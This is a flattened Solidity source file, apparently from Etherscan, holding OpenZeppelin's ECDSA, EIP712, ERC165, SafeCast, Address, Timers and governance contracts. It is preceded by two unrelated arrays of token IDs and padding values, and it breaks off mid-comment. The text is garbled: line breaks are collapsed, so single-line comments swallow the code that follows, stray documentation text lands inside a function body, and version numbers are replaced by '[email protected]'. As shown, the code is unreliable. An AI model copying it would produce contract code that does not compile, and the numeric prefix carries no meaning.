[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 432, 4062, 288, 203, 3639, 1758, 29804, 31, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 1426, 1699, 9148, 758, 79, 11821, 31, 203, 565, 289, 203, 203, 203, 565, 4232, 39, 3462, 1071, 2430, 31, 203, 203, 203, 203, 565, 871, 432, 4062, 6119, 12, 11890, 5034, 1147, 548, 1769, 203, 565, 871, 432, 4062, 14277, 12, 11890, 5034, 1147, 548, 16, 2254, 5034, 2078, 5147, 16, 1758, 5657, 1224, 1769, 203, 565, 871, 432, 4062, 21890, 12, 11890, 5034, 1147, 548, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-09-02 */ // Sources flattened with hardhat v2.6.1 https://hardhat.org // File @openzeppelin/contracts/utils/cryptography/[email protected] pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File @openzeppelin/contracts/utils/cryptography/[email protected] pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // File @openzeppelin/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/utils/math/[email protected] pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Tooling for timepoints, timers and delays */ library Timers { struct Timestamp { uint64 _deadline; } function getDeadline(Timestamp memory timer) internal pure returns (uint64) { return timer._deadline; } function setDeadline(Timestamp storage timer, uint64 timestamp) internal { timer._deadline = timestamp; } function reset(Timestamp storage timer) internal { timer._deadline = 0; } function isUnset(Timestamp memory timer) internal pure returns (bool) { return timer._deadline == 0; } function isStarted(Timestamp memory timer) internal pure returns (bool) { return timer._deadline > 0; } function isPending(Timestamp memory timer) internal view returns (bool) { return timer._deadline > block.timestamp; } function isExpired(Timestamp memory timer) internal view returns (bool) { return isStarted(timer) && timer._deadline <= block.timestamp; } struct BlockNumber { uint64 _deadline; } function getDeadline(BlockNumber memory timer) internal pure returns (uint64) { return timer._deadline; } function setDeadline(BlockNumber storage timer, uint64 timestamp) internal { timer._deadline = timestamp; } function reset(BlockNumber storage timer) internal { timer._deadline = 0; } function isUnset(BlockNumber memory timer) internal pure returns (bool) { return timer._deadline == 0; } function isStarted(BlockNumber memory timer) internal pure returns (bool) { return timer._deadline > 0; } function isPending(BlockNumber memory timer) internal view returns (bool) { return timer._deadline > block.number; } function isExpired(BlockNumber memory timer) internal view returns (bool) { return isStarted(timer) && timer._deadline <= block.number; } } // File @openzeppelin/contracts/governance/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the {Governor} core. * * _Available since v4.3._ */ abstract contract IGovernor is IERC165 { enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /** * @dev Emitted when a proposal is created. */ event ProposalCreated( uint256 proposalId, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev Emitted when a proposal is canceled. */ event ProposalCanceled(uint256 proposalId); /** * @dev Emitted when a proposal is executed. */ event ProposalExecuted(uint256 proposalId); /** * @dev Emitted when a vote is cast. * * Note: `support` values should be seen as buckets. There interpretation depends on the voting module used. */ event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason); /** * @notice module:core * @dev Name of the governor instance (used in building the ERC712 domain separator). */ function name() public view virtual returns (string memory); /** * @notice module:core * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1" */ function version() public view virtual returns (string memory); /** * @notice module:voting * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`. * * There are 2 standard keys: `support` and `quorum`. * * - `support=bravo` refers to the vote options 0 = For, 1 = Against, 2 = Abstain, as in `GovernorBravo`. * - `quorum=bravo` means that only For votes are counted towards quorum. * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum. * * NOTE: The string can be decoded by the standard * https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`] * JavaScript class. */ // solhint-disable-next-line func-name-mixedcase function COUNTING_MODE() public pure virtual returns (string memory); /** * @notice module:core * @dev Hashing function used to (re)build the proposal id from the proposal details.. */ function hashProposal( address[] calldata targets, uint256[] calldata values, bytes[] calldata calldatas, bytes32 descriptionHash ) public pure virtual returns (uint256); /** * @notice module:core * @dev Current state of a proposal, following Compound's convention */ function state(uint256 proposalId) public view virtual returns (ProposalState); /** * @notice module:core * @dev block number used to retrieve user's votes and quorum. */ function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:core * @dev timestamp at which votes close. */ function proposalDeadline(uint256 proposalId) public view virtual returns (uint256); /** * @notice module:user-config * @dev delay, in number of block, between the proposal is created and the vote starts. This can be increassed to * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts. */ function votingDelay() public view virtual returns (uint256); /** * @notice module:user-config * @dev delay, in number of blocks, between the vote start and vote ends. * * Note: the {votingDelay} can delay the start of the vote. This must be considered when setting the voting * duration compared to the voting delay. */ function votingPeriod() public view virtual returns (uint256); /** * @notice module:user-config * @dev Minimum number of cast voted required for a proposal to be successful. * * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}). */ function quorum(uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:reputation * @dev Voting power of an `account` at a specific `blockNumber`. * * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or * multiple), {ERC20Votes} tokens. */ function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256); /** * @notice module:voting * @dev Returns weither `account` has cast a vote on `proposalId`. */ function hasVoted(uint256 proposalId, address account) public view virtual returns (bool); /** * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends * {IGovernor-votingPeriod} blocks after the voting starts. * * Emits a {ProposalCreated} event. */ function propose( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description ) public virtual returns (uint256 proposalId); /** * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the * deadline to be reached. * * Emits a {ProposalExecuted} event. * * Note: some module can modify the requirements for execution, for example by adding an additional timelock. */ function execute( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public payable virtual returns (uint256 proposalId); /** * @dev Cast a vote * * Emits a {VoteCast} event. */ function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance); /** * @dev Cast a with a reason * * Emits a {VoteCast} event. */ function castVoteWithReason( uint256 proposalId, uint8 support, string calldata reason ) public virtual returns (uint256 balance); /** * @dev Cast a vote using the user cryptographic signature. * * Emits a {VoteCast} event. */ function castVoteBySig( uint256 proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s ) public virtual returns (uint256 balance); } // File @openzeppelin/contracts/governance/[email protected] pragma solidity ^0.8.0; /** * @dev Core of the governance system, designed to be extended though various modules. * * This contract is abstract and requires several function to be implemented in various modules: * * - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote} * - A voting module must implement {getVotes} * - Additionanly, the {votingPeriod} must also be implemented * * _Available since v4.3._ */ abstract contract Governor is Context, ERC165, EIP712, IGovernor { using SafeCast for uint256; using Timers for Timers.BlockNumber; bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)"); struct ProposalCore { Timers.BlockNumber voteStart; Timers.BlockNumber voteEnd; bool executed; bool canceled; } string private _name; mapping(uint256 => ProposalCore) private _proposals; /** * @dev Restrict access to governor executing address. Some module might override the _executor function to make * sure this modifier is consistant with the execution model. */ modifier onlyGovernance() { require(_msgSender() == _executor(), "Governor: onlyGovernance"); _; } /** * @dev Sets the value for 